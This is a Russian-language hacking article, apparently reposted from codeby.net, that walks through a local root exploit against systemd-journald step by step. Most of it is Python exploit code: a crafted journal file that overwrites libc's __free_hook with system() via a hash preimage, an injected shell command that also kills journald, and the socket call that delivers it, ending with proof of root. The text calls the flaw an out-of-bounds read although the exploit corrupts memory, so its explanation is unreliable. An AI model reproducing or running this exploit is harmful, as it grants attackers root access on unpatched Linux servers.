Linux SystemD - privilege escalation или выполняем код через root

Linux SystemD - privilege escalation или выполняем код через root

@webware

t.me/webware

Доброго времени суток форумчане. Спешу сообщить про уязвимость в SystemD. Почти все дистрибутивы уязвимы перед ней. Это статья больше всего подойдёт для администраторов в чьих руках стоят сервера на пингвине.

Поехали!

Уязвимость представляет собой проблему out-of-bounds чтения из памяти, то есть позволяет прочесть данные из внешних областей памяти.


Первый кусок кода-это базовая настройка, вспомогательные функции и приятная обертка вокруг сокетов UNIX, которая облегчит нашу жизнь дальше по линии:

#!/usr/bin/env python3
import array
import os
import socket
import struct

TEMPFILE = '/tmp/systemdown_temp'

def p64(n):
    return struct.pack('<Q', n)

class UNIXSocket(object):
    def __init__(self, path):
        self.path = path

    def __enter__(self):
        self.client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM, 0)
        self.client.connect(self.path)
        return self.client

    def __exit__(self, exc_t, exc_v, traceback):
        self.client.close()

Далее у нас есть некоторые константы, которые могут меняться в зависимости от конкретной целевой среды. Эти константы были построены для выпуска 20180808.0.0 в Ubuntu/bionic64 бродячий образ (и опять же, как они предполагают цель технологии ASLR отключены):

libc = 0x7ffff79e4000
stack = 0x7fffffffde60

free_hook = libc + 0x3ed8e8

system_preimage = b"Y=J~-Y',Wj(A"

padding_kvs = 3

Теперь у нас есть масса ценностей, необходимых для нашего экспериментального использования. Первым шагом в логике эксплойта является добавление некоторых записей заполнения, которые вызывают увеличение размера alloca, смещая стеки journal_file_append_data (и функции, которые он вызывает) ниже. Это необходимо для выравнивания точного местоположения, где данные будут записываться в libc .BSS, и избежать ненужного забивания любых других глобальных ценностей libc, которые могут сильно помешать эксплуатации.

with open(TEMPFILE, 'wb') as log:
    msg = b""
    for _ in range(padding_kvs):
        msg += b"P=\n"

Далее добавим значение прообраза, хэш для которого (при вычислении из hash64 ()) будет адресом system. В частности, это выравнивание этого значения будет таким, что journald запишет систему в libc __free_hook, давая нам оболочку, когда наша команда ниже будет освобождена.

msg += system_preimage + b"\n"

Затем мы добавляем нашу команду в виде двоичного блока данных, окруженного точками с запятой, чтобы сделать sh счастливым. Мы также гарантируем, что journald насильственно убит здесь, так что libc не имеет шансов заблокировать после возврата вызова system:

    cmd = b"echo $(whoami) > /tmp/pwn"
    cmd = b";" + cmd + b";killall -9 /lib/systemd/systemd-journald;"
    msg += b"C\n"
    msg += p64(len(cmd))
    msg += cmd + b"\n"

Затем мы отправляем большую запись (>=128MB), что приводит к ошибке и заставляет journald выйти из цикла обработки записей (src). Как только это условие ошибки поражено, и цикл остановлен, больше не записываются значения, и поэтому этот шаг важен, чтобы прекратить повреждение памяти, предотвращая запись значений в несопоставленную / неписаную память между libc и стеком.

    msg += b"A=" + b"B"*(128*1024*1024) + b"\n"

Наконец, мы заполняем наше сообщение достаточным количеством записей, чтобы вызвать падение stack - >libc:

    num_msgs = (((stack - free_hook)//16) - 1)
    num_msgs -= 3  # the three above
    num_msgs -= 7  # added by journald itself

    msg += b"B=\n" * num_msgs

    log.write(msg)

На данный момент нам просто нужно передать журнал FD в journald, чтобы получить нашу оболочку:

with UNIXSocket("/run/systemd/journal/socket") as sock:
    with open(TEMPFILE, 'rb') as log:
        sock.sendmsg([b""], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", [log.fileno()]))])

os.unlink(TEMPFILE)

После запуска этого мы обнаруживаем, что файл/tmp / pwn был создан с содержимым “root”, что означает, что мы успешно достигли нашей эскалации привилегий.

$ cat /tmp/pwn
root

Спасибо за прочтение мой статьи! Hack you!

Источник codeby.net

Report Page